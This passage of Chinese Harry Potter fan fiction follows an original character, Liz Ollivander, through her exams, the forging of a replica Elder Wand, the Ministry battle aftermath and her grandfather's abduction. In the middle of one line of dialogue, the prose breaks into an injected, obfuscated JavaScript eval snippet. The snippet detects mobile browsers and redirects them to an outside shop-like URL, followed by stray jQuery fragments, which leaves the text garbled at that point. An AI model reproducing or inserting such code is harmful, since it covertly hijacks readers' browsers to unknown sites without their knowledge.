前后截然不同的语气,像是变了个人似的,秋没忍住笑了笑,莉兹好像只有在吃东西的时候像个十几岁的人,抬手把巫师斗篷挂起来,秋走到了窗台边,倚靠着站在那里。 “梅丽特地烤的,我说是要带给你,她又多拿了好几块。” “那我下次会好好去感谢她的。”莉兹连忙数了数,“果然好多。” “你知道吗,今天乌姆里奇还在缠着弗立维教授,让他尽快解决掉六楼的那片沼泽。”秋尝试着和莉兹闲聊几句,“所以他真的无能为力吗?” “怎么可能,”莉兹微微一笑,“没有弗立维教授解不了的咒。” “他其实也跟我打听过你的近况,其实大家都……”秋犹豫了一下,还是继续说,“我们都挺关心你的,如果压力太大的话可以和我说一说的。” 莉兹吞咽的动作变得僵硬了起来,她沉默了几秒钟,秋深吸一口气,再次解释道:“韦斯莱他们突然离开学校,安吉丽娜也很吃惊,乌姆里奇对你也一直是……” 心软的人连表达带着疑惑的关心都会吞吞吐吐,秋又长舒一口气说:“你一直不说话,也一直这样把自己关起来,我觉得你很难过,莉兹,我……” “你想太多了,”莉兹打断她,“秋,你只是想太多了。” 两人静静对视着,秋像是放弃了一般直起身来,脸上多了点苦笑,说话的声音如同呓语:“没事就好,这就好。” “因为我一直就是这样的人。”莉兹说。 “但你知道吗,”秋转过身朝她走近了两步,“我还是希望你在霍格沃茨的最后,留下的是好的记忆。” “是很好啊,你很好,霍格沃茨本身也很好。”莉兹的笑把走近的秋推了回去。 这大概是她对朋友能说出的最温柔的话,共同经历过这么多,秋终于明白,尽管莉兹也许不是一个适合做朋友的人,相处时不会总是愉悦和快乐,但她会是一个永远的朋友。 很快地,关于老魔杖的设计已经初见雏形,莉兹认为如果只是需要一个样子相似的复制品,那邓布利多教授不至于会让塞西尔向她承诺全体凤凰社成员都会保护自己,也就是他的确需要一个连使用者都无法轻易分辨的魔杖,那专注杀戮与诅咒的魔杖对制作者的要求也就明晰了。她想自己需要深刻理解“死亡”,而不是只有对它的感受,好比恐惧。 因此塞德里克冰冷的面庞开始反复在她的梦境里闪现,人们常说,那样的景象只要见过一次,就会在脑海中扎根,可能会因为根生得太深而暂时遗忘,却会在抬脚想要离去的那一刻发现自己被捆绑在了原地。这份执念带来的痛,她需要传达给每一个触碰到这根魔杖的人,不适感与不安感正是死神送出这根魔杖的目的,他要得到老魔杖的人永远活在被杀的忧虑中,而不是杀人的残忍中。 想通一个问题,剩下的就要等回到对角巷才能解决了,距离NEWT开始还有三天的时候,考试安排被贴在了公告栏里,消失了几个礼拜的莉兹也出现在学校里,要不是亲眼见到,周围人都快以为她和韦斯莱双胞胎一样被退学了。 在考场大门碰见打着呵欠摇摇晃晃走着路的莉兹时,乌姆里奇的表情和吃了苍蝇没区别,可惜她只能眼见着莉兹用最快的速度完成了试题,而后又提前跑出了考场,压根不留给任何人找她麻烦的机会。翻开她写满字的试卷,又更是让乌姆里奇气不打一出来,因为即便是斯内普那份足够刁难所有学生的魔药学试题,莉兹也给出了非常不错的答案,分析与论述写得条理明晰。哪怕是要用莫须有的罪名诬赖她也没有借口,因为最后两题,除了她之外根本没有人给出了答案。 好不容易结束了最后一门考试,那种“这里的一切总算可以划上句点”的想法一瞬间抽走了莉兹身体里长久以来紧绷的一根弦,她穿过已经走过了无数遍的走廊,迈过那些台阶,抚摸过门环,推开门整个人卸力似的倒在寝室的床上,她久违地觉得自己需要足够充足的睡眠,至少要睡到大脑停转不会再做梦为止。 “莉兹,莉兹!” 朦胧中谁在摇晃自己的肩膀,谁又在喊着自己的名字,莉兹挣扎着睁开眼,被压在身下的胳膊酸得不像话,她瞥了一眼说话人的表情,翻了个身用枕头挡住脸。 “已经一天一夜了,你不能再睡了!”秋的声音越发焦急。 “我们下周才离校呢……”莉兹不情不愿地抱怨着,被秋拉起身。 “莉兹,我需要你,玛丽已经忘了一切,这时候我一个人做不到,”秋趁着莉兹还在眨着烟努力醒来的时候,平复着呼吸缓缓开口,“昨天夜里傲罗们来了OWLs考场,他们要抓海格教授,麦格教授为了阻止被打伤了。我本来就很担心哈利他们会因为这件事去和乌姆里奇算帐,早上听说他继续去考试了,我就松了一口气。” 莉兹的眼神逐渐变得清醒。 “可是刚刚……我看到费尔奇带着人在学校里抓人,说哈利闯进了乌姆里奇的办公室,用了她的壁炉,连着赫敏一起都被困住了,她看到我了,我想告诉她我会去找弗立维教授帮忙的,但转头再回去办公室时,那里的人都不见了,蒙太拉着我让我交待哈利的去向,我只有打晕他才能回来。” 听到秋这么说,莉兹才瞧见她红肿的手腕还有凌乱的头发,整个人神色越发凝重,一边走下床,一边嘀咕着:“他们离开学校了……波特之前说过他梦见……” 秋听不清她在说什么,只好又一次大喊她的名字:“莉兹!” “扫帚借给我,我会放在猪头酒吧,你之后去拿。”利落地套上斗篷,莉兹紧握着魔杖,看向担忧的秋。 “你要去哪里?”秋问道。 “去帮忙,我会再回来的。”抛下一句简短的回应,她拿过秋放在床边的飞天扫帚,用魔杖一指顶窗,眨眼间就消失在了逐渐变暗的天色中。 幸好自己曾经使用过麻瓜的交通工具,莉兹很清楚地记得国王十字车站那附近的站牌上有格里莫广场的站点,幻影移形到最熟悉的小路,她摸出身上最后的麻瓜硬币在人流中挤上了地铁。 麻瓜街道总是车来人往的,裹着黑色斗篷的莉兹在初夏时节实在显眼,她在脑海里回忆着邓布利多的字迹,身旁的房屋慢慢地变了样子,联排楼房之间不知何时出现了一扇外观更为古朴破旧的门,她左看右看,没有任何路人会将视线落在这里,连忙上前敲响了门。 敲了几下都没有人应门,莉兹准备再次尝试时,里面的人打开了门,他手握着门把手的同时,还在喊着“那家伙应该出现的时候总是不出现”。男人身材高大,样貌俊俏,有一头浓密的深色卷发,两绺头发垂在脸侧,把一双勾人的眼睛挡在了后头,他似乎没料到这间老房子还会有自己没见过的陌生来客,在对上视线的同时戒备地举起了手里的魔杖。 “我猜您是布莱克先生,西里斯·布莱克,”莉兹冷静地开口,“我是莉兹,你应该认识我。” 西里斯放下魔杖,慢慢后退,扭头对着屋子里再次大喊:“塞西尔!西西!” “我有个问题想问您,”莉兹也不顾塞西尔略显惊讶的视线,而是继续问,“布莱克先生您今天没有离开过屋子是吗?” “我一直在楼上的房间里。”西里斯被问得有点摸不着头脑。 “我明白了。”莉兹迈开步子向塞西尔走去,“波特和我说过他经常梦见一扇门,他不敢告诉你们,因为他觉得这是他和神秘人之间的联系,我估计他们现在就去找那扇门了。” “神秘事务司。”坐在厨房里的斯内普大约也是刚刚到达的,他抢在莉兹的分析说完之前开了口。 角落沉默着的卢平意识到了一个问题,看向站在餐桌顶头的莉兹:“你是说‘他们’?” “离开学校的至少是三个人,波特、格兰杰和罗纳德,但我不确定,可能有更多,他们应该都是D.A的成员。”莉兹来不及思考为什么斯内普教授和卢平教授都在这里,只能让自己保持冷静向足够可靠的大人们传达信息。 “他为什么会离开霍格沃茨,你们在做什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487890|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么?”西里斯下意识质问起斯内普。 “那要问你了,他最爱的教父。”斯内普阴阳怪气地冷哼一声,“他今年几番折腾是为了谁?” 总是承担和事佬角色的卢平没心思理睬他们,直接问塞西尔:“现在我们可以调出多少人?” “今天本应该是唐克斯在巡逻,可我下班之前看到她被福吉叫走了,我想金斯莱还在办公室,我已经用守护神去通知了穆迪,这两个家伙都不方便露面,”塞西尔皱起眉,“该死的,谁能联系到邓布利多……” “我来。”斯内普无视了西里斯向他投来的怒意 塞西尔也没有想过有一天居然会觉得西弗勒斯·斯内普说了句人话,她轻轻推开拉着自己袖子的莉兹,又像安慰小孩似的拍了拍她的头,转头对着卢平点了点头:“莱姆斯,那我们出发了。” “塞西尔!”赶来帮忙的莉兹不愿意被扔下,她扯着嗓子喊道。 “哈利不是你的责任,你知道我在说什么?”塞西尔难得冰冷的神情把莉兹满肚子的计谋都按在了地上。 趁乱中西里斯也抓过了塞西尔的手,他笑着说:“这次你拦不住我了。” “那你最好能打一点,我们可都是实战派。”塞西尔也笑了起来。 “对了,你那侄女简直就是你的翻版……” “别废话跟紧了,乖狗狗……” …… 随着两声清脆的爆裂声,他们对话戛然而止,厨房也倏然变得寂静,站在原地的莉兹试了三次幻影移形都出不去这个屋子,她想大门应该也打不开了,被救世主心态影响了的理智逐渐占据了上风,她拉开椅子在桌旁坐下,终于有了时间感慨,原来塞西尔说的“漂亮男人很可怕”是这个意思。 可不可怕她无法判断,漂亮却是真的。 直到这阵静悄悄中掺进了低沉的嘟囔声,莉兹轻手轻脚走出厨房向着声音的源头前去,迈上台阶才看到有个身着破布的家养小精灵斜着眼在看自己,他站在一块帷幔前,不断说着:“我亲爱的主人,这里很快就要变得很安静了,再也不会有人回来了,主人你放心,不会有人再打扰您了。” “这是什么意思?”莉兹敏锐地察觉到了他那格格不入的态度,家养小精灵不应该在主人离开时说这样的话。 “克利切不需要回复陌生人的问题。”克利切扭过头。 “我是莉兹·奥利凡德,克利切,现在你知道我的名字了,我们就认识了,请你告诉我,你说的‘再也不会有人回来’是什么意思?”莉兹耐心地追问。 这个小精灵对自己的名字好像很熟悉,莉兹看到他瞪大了双眼:“你是塞西尔小姐的家人,你是她的家人,我永远不能伤害塞西尔小姐……” 不知是想起了什么,他竟然拿过了墙角的铁桶狠狠敲打自己的头,一边打一边哭着说:“对不起塞西尔小姐,对不起雷古勒斯少爷,我这都是为了女主人,我都是为了布莱克家……” 莉兹上前夺过铁桶:“你对塞西尔怎么了,你做了什么?” 没了伤害自己的工具,克利切愣在了原地,又准备撞墙的时候,莉兹又挡在了跟前,他只能握起拳头捶击自己的胸口,然后回答:“我只是对波特先生说了一句谎话,那只是一句话而已,我没有背叛西里斯少爷,我也没有背叛布莱克。” 莉兹觉得自己最后一点耐性都要被磨没了,她扔下铁桶,把小精灵逼到死角:“什么谎话,你对波特说了什么?” 谁料克利切把头塞进了地上的铁桶里,对着莉兹发出难听的怪叫,最终这番动静还是吵醒了帷幔后的什么东西,尖锐刺耳的怒骂声从里面传出来,这反而安抚了崩溃的克利切,他不慌不忙重新走回帷幔旁,扯过身上的围兜擦着画框,再也没有回看莉兹一眼。 脑海里所有的线索已经足够串成一条清晰的事件经过,可莉兹被困在了这里,她只能焦急地等待,在明知这份等待毫无意义的情况下,她等来的只有变了天的巫师界,垮台的康奈利·福吉,去世的西里斯·布莱克,而今天才是他们第一次见面,还有表面上一切如常的塞西尔姑姑 ——她依然说着诙谐的笑话,依然调侃着自己仅剩的校园生活,依然用和以往一般的语调念着“伊莉莎”。 坐在摩托车后座上,带着头盔的莉兹总觉得那风声里有塞西尔的哭声,她把自己扔在了骑士公共汽车站,接着扬长而去。莉兹望着逐渐远去的身影,又看向了相反的方向,对着把身子探出车门的售票员斯坦·桑帕克摆了摆手,下一秒幻影移形消失了站台。 一周后,学期正式结束,秋趁着白天去猪头酒吧拿回了自己的扫帚,阿不福思对莉兹的印象好像挺不错,他还给秋送了瓶黄油啤酒。 这日的晚宴氛围相当不错,仿佛掩盖在霍格沃茨城堡上方的□□已经没有了一般,随着离开的乌姆里奇一起消失了。更让人欣喜的是,被赶出学校的海格回来了,受伤的麦格教授回来了,被证明清白的邓布利多校长也回来了。 不过唯一没有回来的,而是答应她一定会回来的莉兹。 隔天一早,戴维斯在火车发动后来到了秋坐着的车厢,看着她对面的老位置是空荡荡,便把装着毕业生资料的牛皮纸袋用力地扔在座椅上,撇了撇嘴说:“她就非要这样是吧,把所有人都不放在眼里?” “是吗,我不觉得。”秋低头轻笑一声,拿过牛皮纸袋放进她帮莉兹打包好的行李箱里,“罗杰你有什么话要我带给她的吗?” “没有!”戴维斯摔上门。 “罗杰为什么这么生气?”玛丽埃塔疑惑地看了看车门外。 “他没有在生气,”秋顿了顿,“他只是有点不甘心而已。” 和自己一样,不甘心成了她的局外人。 103. 老魔杖易主 这一天,奥利弗·伍德和往常一样在训练结束后的傍晚来到了奥利凡德魔杖店。他打了声招呼推开门,店里总是昏暗的,通到屋顶的架子上塞满积了灰尘的纸盒子,从没有人知道这里究竟有多少根魔杖,从没有人知道那一根根魔杖又会属于哪一位巫师。天花板吊着球形的灯,缓慢地旋转着,把伍德进门时带起的尘埃照得像是一层薄纱。 站在梯子上的老奥利凡德听见了声响,蓦地移动了扶梯现身,老头子灰白的卷发凌乱不已,常是这一副似笑非笑的表情,眼神却仍是那般清明而锐利,似乎不需要开口,他就能看透来人的心。 见并不是客人,老奥利凡德垂下眼,沉默地对着伍德摇了摇头,而后又挪回了刚刚的架子前,不知在翻找着什么。 这已经是第十九天,伍德从秋那里收到信之后,这是莉兹将自己锁在阁楼的第十九天。 那天伍德刚从利物浦比完赛到了家,房东福斯科先生大约是从电台听到了比赛的结果,特地在厨房留了烤鸡和冰过的啤酒。原本要在当地酒馆举办的庆功宴在英魁协的几条罚款消息轰炸下不欢而散,伍德觉得自己真是饿坏了。才拿起鸡腿啃了一口,班克便撞开了厨房的窗户飞了进来,掉落的羽毛飘在啤酒杯里,可伍德没有一点不满,他下意识攥着手串上的石头,然后笑了起来。 无论什么时候,他总期待着莉兹的来信。 不过并不常用的信封和并不熟悉的笔迹还是让他很快就变得平静了,秋希望他回一趟富勒姆,她希望和他见一面,关于莉兹离校的事情她也说得简洁,只在最后写上了一句“莉兹好像执意要一个人面对什么,我不希望她总是一个人”。 于是伍德把烤鸡一分为二,一盘推到班克跟前,一盘放到一边,接着拿掉啤酒杯上的羽毛一饮而尽,转头吹着口哨喊来了米拉尼尔又挥着魔杖锁上了窗户,他弯腰盯着两只猫头鹰说:“你们要好好相处!” 下一秒便消失在厨房。 幻影移形到家附近那片以前经常和朋友一起玩魁地奇的空地,伍德望着不远处亮起灯的一栋房子,见家门是敞开的,他便站到了树后。父亲看着憔悴了许多,他一边说着什么斯克林杰的选票,一边把斗篷脱下。犹豫了一阵子,伍德还是没有上前,毕竟都从父母嘴里听到“我们只想你离开伦敦”这样的话了,对于笨嘴拙舌的奥利弗·伍德来说,兴许不交流是最适合的。 和小时候似的,伍德捡起地上的小石子扔向了二楼秋的房间,女孩推开窗户的时候,他一瞬间只想拍身边人的肩膀,可惜那里空空如也。 此刻站在阁楼的门前,伍德回忆起那晚秋忧虑的神色,回忆起从自己手里接过行李的罗里无奈的语气,再次放下了准备敲门的手,匆匆跑下楼和老奥利凡德说自己明天还会再来的。 男孩的步履匆忙,老奥利凡德甚至来不及说完那声再见,只是抬头望了一眼紧闭的门,他知道店里剩下的接骨木和那一盒昂贵的夜骐尾羽是被谁拿走了,他隐约也猜到了阁楼里的人正在尝试什么,奈何奥利凡德家不过问彼此选择已是传统,他没有资格替孙女做主,比如阻止她做一些危险的事情。 他本来也不会这样在意的,如果他没有听到那里传来的痛苦呻//吟与哭泣声的话,如果那扇门没有被莉兹下了谁也打不开的咒语的话,如果她还和幼时一样摸着一根根魔杖好奇地向自己询问每一根的故事的话,老奥利凡德觉得自己不会产生这样的无措的心情。就像塞西尔离家的那一晚,自己笨拙的关切只得到了儿子懊恼的一瞥——需要的时候不出现,就不要在不需要的时候尝试补救。 第二十天,哭声在夜色中蔓延,几乎淹没了整个对角巷。 第二十二天,宛如梦呓般的念咒声重复了整个晚上。 第二十四天,这一夜是这么多天以来,阁楼上第一次没有再传出任何声响。 晨光微亮时,莉兹在熟睡中醒来,太阳穴如同被针刺一般,有尖锐的东西正在搅动她的大脑,痛得她根本睁不开眼,起身时桌子上的东西被碰倒一个一个滚到了地上,她扶着椅子随意捡起一根,点亮了阁楼,同时间胸口传来一阵凉意,她眨了眨眼睛这才看清手里拿着的魔杖。 自己那根魔杖躺在了草堆旁,真正的老魔杖仍然被高高架起,在亮光下持续不断低语着无数声诅咒,而刚刚被她用来施咒的是她即将交出的那份满分作业,尝试着制造一根不忠诚的魔杖对魔杖制作师而言是莫大的折磨,没有一个制作师会选择制造慕强的魔杖——木材可以呼吸,羽毛也有生命,虔诚的工匠赋予了价值,魔杖才会选择它的主人。 因此,它的底色不应该是背叛。 过去了将近一个月的光景,桌上的岩皮饼也所剩无几,莉兹掰开一点就着水咽下去,坚硬的渣子划过喉咙,她艰难地呼吸着,脑子里却在极力回忆着和伍德还有塞德里克打雪仗的那个傍晚,随着魔杖高高举起:“呼神护卫——” 一束白光变成了一只瘦长的猎狼犬在半空奔跑了两圈,莉兹长长呼出一口气,继续说:“你知道要去找谁。” 又干嚼完小半块岩皮饼之后,门外响起皮靴鞋跟踩在台阶上的咚咚声,听起来急促而焦躁,莉兹扶着桌面站稳,用魔杖轻点门锁,木门吱呀一声打开。 急性子的塞西尔没能停得住脚步,埋头冲了进来,满地的木材废料让人走得磕磕绊绊,她抬头看向站在里面的莉兹,眼下乌青、两颊凹陷,简直瘦得不成人形,即便是把她送去阿兹卡班关上二十天也不会比这看起来更糟糕了。塞西尔抿着嘴,一肚子的关心和愁思说不出半句,只能强装镇定,潦草地收拾完地上的木材。 “我想现在这个世界上能够将它们分辨出来的人,只有我了。”莉兹将两个一模一样的魔杖盒推到塞西尔跟前,然后提醒她真的是左边的那一个。 塞西尔不知道为什么这一刻莉兹的脸上会出现类似释然的微笑,她也没办法用“辛苦了”或是“谢谢”为这个任务画上句点,便像是逃避似的移开目光,从袖口处摸出了一封信,又将右边的魔杖盒收进相同的地方,左手手指抖了几下,她掩饰似的拉下袖子,接着清了清嗓子开口道:“邓布利多先生托我带封信给你。” 莉兹 你完成了这个任务,现在老魔杖将属于你。 邓布利多 似乎比起其他任何时候,莉兹觉得邓布利多校长经常用“半句话”的模式和她交流,这样的惜字如金仿佛默认了她能从几个字里读出真正的用意,以至于她偶尔会想,校长当年的一句聪明,并非嘉奖,倒更像是诅咒。 巫师的誓言与许诺通常会是有意义的,当契约成立的一霎那,言语就显示出了魔力。她再一次听见搁在桌上的魔杖盒里传来尖叫声,这是老魔杖的易主,如同死亡一般恐惧的东西爬进了莉兹的身体,在她的血液里蔓延知道填满她的脑子,这个声音在告诉她—— 巫师,你现在拥有了可以杀死任何人的力量。 你想杀死的第一个人是谁? 看啊,强大的魔杖能带来的只有死亡与覆灭,它无法带来重生与复苏,带不回死去的朋友,带不回那个金光闪闪的雪天,带不回什么都没有变的霍格沃茨。 释然的微笑变成了一抹苦笑,莉兹放下信纸,用魔咒将它烧成灰烬。 “可是邓布利多先生有没有想过,一根只忠诚于力量的魔杖,它有可能会因为我的弱小而消失,到那时候将再也没有人能找得到它。” “我认为这正是他的目的……”塞西尔犹豫了一下,没有再说下去,而是改了口说道:“抱歉,我不应该将你卷进来。” “留下这道疤之后,”莉兹举起手背让塞西尔看到上面的印记,“我就很清楚, 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等着红茶的功夫,莉兹叼着一块曲奇饼爬上了扶梯,转眼就移动到了架子的深处,许久未打扫的地方布满灰尘,惹得她连打了三个喷嚏,嘴里的饼干掉了下去,在心里念了句真可惜,她将装着老魔杖的盒子塞进了架子上的空隙里,一睁眼灰尘就包裹上了盒子,它瞬间融进了那成百上千的魔杖之中,谁也分不清刚刚放进去的是哪一根。 未来的某一天,除非莉兹再次想起那根魔杖并唤醒它,否则没有人能够拿出它,这是奥利凡德的规矩,只会让魔杖来选择它的主人。 铃铛声响了两下,一位老妇人带着一个年轻男孩走进了店里,老太太中气十足,颇有风范,进门就喊着老奥利凡德的名字,说要为她的孙子重新购买一根魔杖。出人意料的是,听到了声音站在梯子上突然出现在他们眼前的,不是那个已经在店里守了几十年的老头子,而是有着一双相同银色眼睛的姑娘。 “莉兹!”这个胖乎乎的男孩认出了站在高处的人,“哦天呐,你还好吗,我们从那之后就没见过面了,他们一定也很想知道你的消息……” 纳威·隆巴顿有些惊喜,却又在奶奶的注视下慢慢降低了声音,最后没有再继续说下去。 泡好了一壶茶的老奥利凡德也在此时走了出来,两位老人走到了一旁叙旧,莉兹也理所应当地承担了为纳威找到一根属于他的魔杖的任务,她又叼了一块曲奇在嘴里,并递给他一块,接着用魔杖一边比划着男孩的手臂长度,一边小声说着:“你们也都好吗?” “很好的,我们都没有受伤,好吧,是有一点小伤的,卢娜的额头被磕破了,”纳威有些紧张地回复着,“不过好几个食死徒都被抓了,虽然贝拉特里克斯不在那里面,但这确实是好事,是吗?” “也许是吧。”莉兹站在架子前思索了一阵子,“你先前的魔杖并不是你的……” “那是我爸爸的。”纳威说道,“只是被打坏了。” “那是根好魔杖,你不介意的话可以拿过来,我试一试帮你复原。”莉兹踩上了一节扶梯,说话的同时又在点着每个盒子。 “真的吗,那我今天……”纳威才说了半句又被莉兹打断。 她一连着摸了两个盒子出来,抽出其中一根递给纳威:“恢复原状也不是属于你的魔杖,你是一个巫师,你需要一根只选择了你的魔杖。” 他的手心与魔杖相碰的一秒,莉兹立刻摇了摇头:“不对,这个不对,你试试这个。” 另一根魔杖被递了过去,他紧紧握在了手里,莉兹这时笑着说:“这就对了,十三英寸的樱桃木杖身,杖芯是独角兽的毛,隆巴顿,这会是一根永远忠诚于你的魔杖,记得好好利用它,然后保护好你和你的家人。” 纳威低头看着新的魔杖,又看了看她的眼睛,坚定地点了头:“我一定会。” 当铃铛声又响起,店门被关上,莉兹恍惚间觉得看到了自己接下来的生活,可事实如果真的能这样的话就好了。 104. 出走的莉兹 “各位听众朋友,欢迎来到今天的《魁地奇夜话》,我是J。 上周起英格兰魁地奇夏窗已经正式开启,令人失望的是直至今日还没有产生第一笔交易,包括自由转会在内。 而我们熟悉的联赛老朋友温布恩黄蜂队今早则正式宣布高层董事会解散,也同时宣布无限期退出英魁协举办的所有比赛,球队名宿卢多·巴格曼对此不予评价,拒绝了我们的一切采访。 这对英联赛来说可不是什么好兆头。 海外魁地奇联赛的转会情况倒是十分精彩,前英格兰主教练、现西班牙魁地奇联赛最有手腕的教练米歇尔女士冬窗时已经带来了几位曾在普德米尔时期就跟随她的选手,如今更是放眼德甲,将年轻的克鲁姆纳入麾下,看来新一轮欧冠的奖杯,她是势在必得。 …… 接下来依然是罗慕路斯先生的专题栏目,本周的主题是如何速成守护神咒语。最近的天气异常,我从观众来信中知晓甚至有人在深夜偶遇了摄魂怪,这听起来难以置信,但我想大家也都感受到了也许正有可怕的东西向我们所有人靠近。 那么,就让我们跟着罗慕路斯的指导开始练习。 …… 希望各位听众朋友一切安好,在节目的最后,我们共同为布罗克代尔大桥坍塌的遇难者和西南部巨人动乱的遇难者默哀,愿他们的灵魂得到安息。 以及前几日过世的魔法部法律执行司司长伯恩斯女士,我们会永远记得您的刚正不阿……”* 收音机的声音戛然而止,男人抬手用魔杖按下了开关,他的眉头紧锁,仿佛嘴里含着有苦味的青蛙胆。 “米歇尔和我希望你搬去巴塞罗那。”他开了口。 实际上莉兹并不惊讶在这个时候听到父亲说出这样的话,或者说是命令,她只是低头合上了还没来得及摊开的行李箱,直起身看向连治疗师袍子都没换下的罗里,然后平静且冷淡地反问了一句:“如果我从一开始就和你们说我想逃走的话你会不会像当年误会塞西尔一样,认为我是向黑魔法屈服的懦弱鬼?” “你不明白,这不一样。”罗里走进了房间,高大的个子挡住了屋顶的灯。 “妈妈如今在巴塞罗那执教,球队的成绩很好,所有人都认为妈妈是足以载入魁地奇史册的教练,我不会认为她在这个时候选择留在那里是因为她害怕现在的伦敦,”莉兹挪动了一下行李箱,后退了半步,被遮了一半的光照亮了她的半张脸,“我想爸爸你之所以仍在圣芒戈工作也不全是因为想要参与一场伟大的战役,我们都清楚,治疗师只是你的工作,宏大的话题不必成为你的理由。” “这世上没有哪个父母希望子女活得如履薄冰,如果能让你安全,我宁愿你是一个懦夫。”罗里有时候真希望女儿可以像一个普通的人——从霍格沃茨毕业拿着一份说得过去的NEWT成绩,在说得过去的地方找到一份稳定的工作,谈一场平凡的恋爱,和一个还不错的人结婚,不必在乎外面是天黑还是天明。 “为什么你不能去做这个懦夫,”莉兹的反驳像尖锐的长矛一般,“为什么你不能和那些搬回摩德纳的远房叔叔们一样,辞掉那份工作带我走?” 她没有留给罗里继续说话的机会,这一次她是真的提起了自己那无比沉重的行李箱,整个人站进了全部的光照里,她回头看向父亲:“我不久前和妈妈说过相同的话,现在我也会告诉您一遍,我要抛下你们向前了。” 长袍扫过行李箱的提手,她抬脚走出了门,罗里站在原地久久未动,在他推开父亲的手说出“我们不需要”的一刻,他曾以为自己不会成为他,但无论是出走的莉兹,还是离开的塞西尔都在反驳他的想法。实际上,他们每个人都是如此的相似,罗里第一次明白了妹妹说的话,奥利凡德家的人就是这样固执,固执到只能够相信自己愿意相信的事情。 夜色渐浓,对角巷也会弥漫着潮湿的雾气,坑坑洼洼的石砖变得滑溜不已,早已走惯了这条路的莉兹熟练地踩在砖块接缝处,将飞天扫帚捆在了背上,两手吃力地拖着行李,心想着应该把两本麻瓜小说扔出去,笨重又难读,她觉得自己以后也不会有心情再读它们了。 多事之秋中早已离开的店家不在少数,满眼望去几乎都是紧闭的门窗和黑着灯的铺子,莉兹却意外觉得心安,自己仿佛是一个突然离家的孩子,并不想被任何人知道。至于看似对一切漠不关心的老奥利凡德,她知道爷爷向来不会多问什么,从小到大她甚至认为那个踮起脚就能撞到头的阁楼,更像是属于她的归处。 唯一与众不同的大约是对角巷93号了,莉兹记得那也是福斯科先生介绍给他们的,是的,这里便是韦斯莱双胞胎兄弟的笑话商店,在冷清寂寥的此刻,依然亮着暖色的灯,里面时不时传出嬉笑的声响,即便已经快到打烊时间也仍然热闹。她站在玻璃橱窗前,看到了乔治用来整蛊自己的金丝雀饼干,包装得有趣且精美,旁边有两只叽叽喳喳的雀鸟在绕着飞。 不禁在心里感叹了一句真厉害啊,尤其是在这个时候,他们可真厉害。 只是自己这会儿有些狼狈了,莉兹决定明早再抽空来逛一逛,希望福斯科先生的冰淇淋店上午会营业,她太想念巧克力可丽饼了。 想到这里,她的脚步也逐渐轻快了一些,刚转身要继续向着奥利凡德魔杖店走去,猛然间一个高大的身影挡住了她的去路,差一点就要将她扑倒在地,幸好对方死死圈住了她的腰,两手把她紧紧抱在怀里。行李箱倒在了地上,背上绑着的扫帚也松开了,毫不夸张,莉兹可能听见了自己的肋骨被挤压的声音。 “奥利弗——奥利弗……”她使劲想把男孩推开,但这点力气显然对他毫无影响。 “我每天从魁地奇球场回来都会去店里,我希望至少能见你一面,哪怕不能和你说话。刚刚我又去了,看到阁楼的门开着,我想着终于能见面了,我知道你什么事情都有自己的计划,你能做到所有事,但是……” 伍德皱着眉头抚摸过她瘦到骨头都突出了的脊背,几乎心疼得说不出话来,“但是……天呐,我真的不能失去你。” “你不要总是这样夸张……奥利弗你先松开,我快喘不上气了。”莉兹好不容易从拥抱中挣脱,面露无奈地摸了摸他的前额发,眼前的男孩眼里湿漉漉的,她真不敢相信奥利弗·伍德居然会有一天因为见不到自己而露出这种表情。 落在面颊上的一个亲吻看来起了效,伍德帮忙拿过了行李和扫帚,莉兹便挽过他的手臂,在一旁解释道:“对不起,我也会习惯自己不是一个人活着就好这件事的。” 笨嘴拙舌的伍德完全不知道怎么应对莉兹突如其来的一句道歉,犹豫了几秒之后还是决定问出口:“你是要搬出来了吗?” “显而易见,”莉兹轻笑了一声,“这倒不是什么令人意外的结局,我是说,我和罗里也无法达成共识。” “那我想我们,我想说的 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他惊讶地瞪大了眼睛,但自我保护的本能让他镇定下来,他看不到莉兹是什么模样,不知道她能不能撑住,可他的关切还来不及传达给她,一道刺眼的绿光已经打在了架子上,堆成山的魔杖盒子哗啦啦倾倒下来。好在两个人反应够快,侧过身躲在了另一边,不敢再轻举妄动。 “黑魔王说这件事要做得干净,你乱用什么咒语!” “屋子里有人,我发誓我看见了黑影子!” “你怎么不说是只黑猫呢,快把这老家伙带走交差。” “胡说,我就是看见了……” 毫无来由的争吵给了莉兹一点喘息的时间,她瞥了一眼身旁身高马大的伍德,又考虑到这会儿出在暗处的是自己,有一瞬间竟然认为两个人强行打晕三个人的可能性应该也是有的。伍德最了解莉兹这副思索的表情,他猜她也许是在琢磨偷袭的方案,于是直接点了点头,用脸上的笑向她表态,只要莉兹发令,自己什么都会做。 然而正当他们打算动手时,铃铛声响起,店门被推开,又有几个人走进来了,其中个头最高的家伙肩上扛着晕倒的福斯科先生,莉兹认识那件彩色的马甲。一时间,无助的感觉仿佛把她的心脏变成了石块,一下又一下砸得她胸口生疼,现在这根本不是伍德和她两个人能够应付的场面。 能够确定的一点只有伏地魔需要活生生的人质,老奥利凡德和福斯科先生今晚不会死。当“死”这个假设出现在她的思考中时,莉兹意外平静了下来,她深吸了一口气,握紧了伍德的手转过身,另一只手举起了魔杖。 一忘皆空。 她无声地念出了遗忘咒,清除了他关于家人全部的记忆,她在心里说:“爷爷,我们只能这样说再见了。” 这之后他只会是一个痴迷于魔杖,以至于对身旁的一切都毫不关心的奇怪老头子,他将不会再记得他曾对孙女说过“未来总有一天魔杖会选择你”,他将不会再记得自己为女儿留的一盏灯,他也将不会再记得儿子责怪他的话语。 清脆的爆炸声,一声接着一声响起,他们就这样消失在莉兹和伍德的眼前。 望着那一片漆黑,莉兹缓缓开口:“我一定会去找到你的。” *布罗克代尔大桥坍塌事件以及西南部巨人动乱在原作都是伏地魔屠杀麻瓜的手笔,巨人动乱在原作被处理成了飓风事件。 伯恩斯女士也是被伏地魔谋杀的。 105. 两口空棺材 “如果我没有记错,他应该是喜欢金色的。” 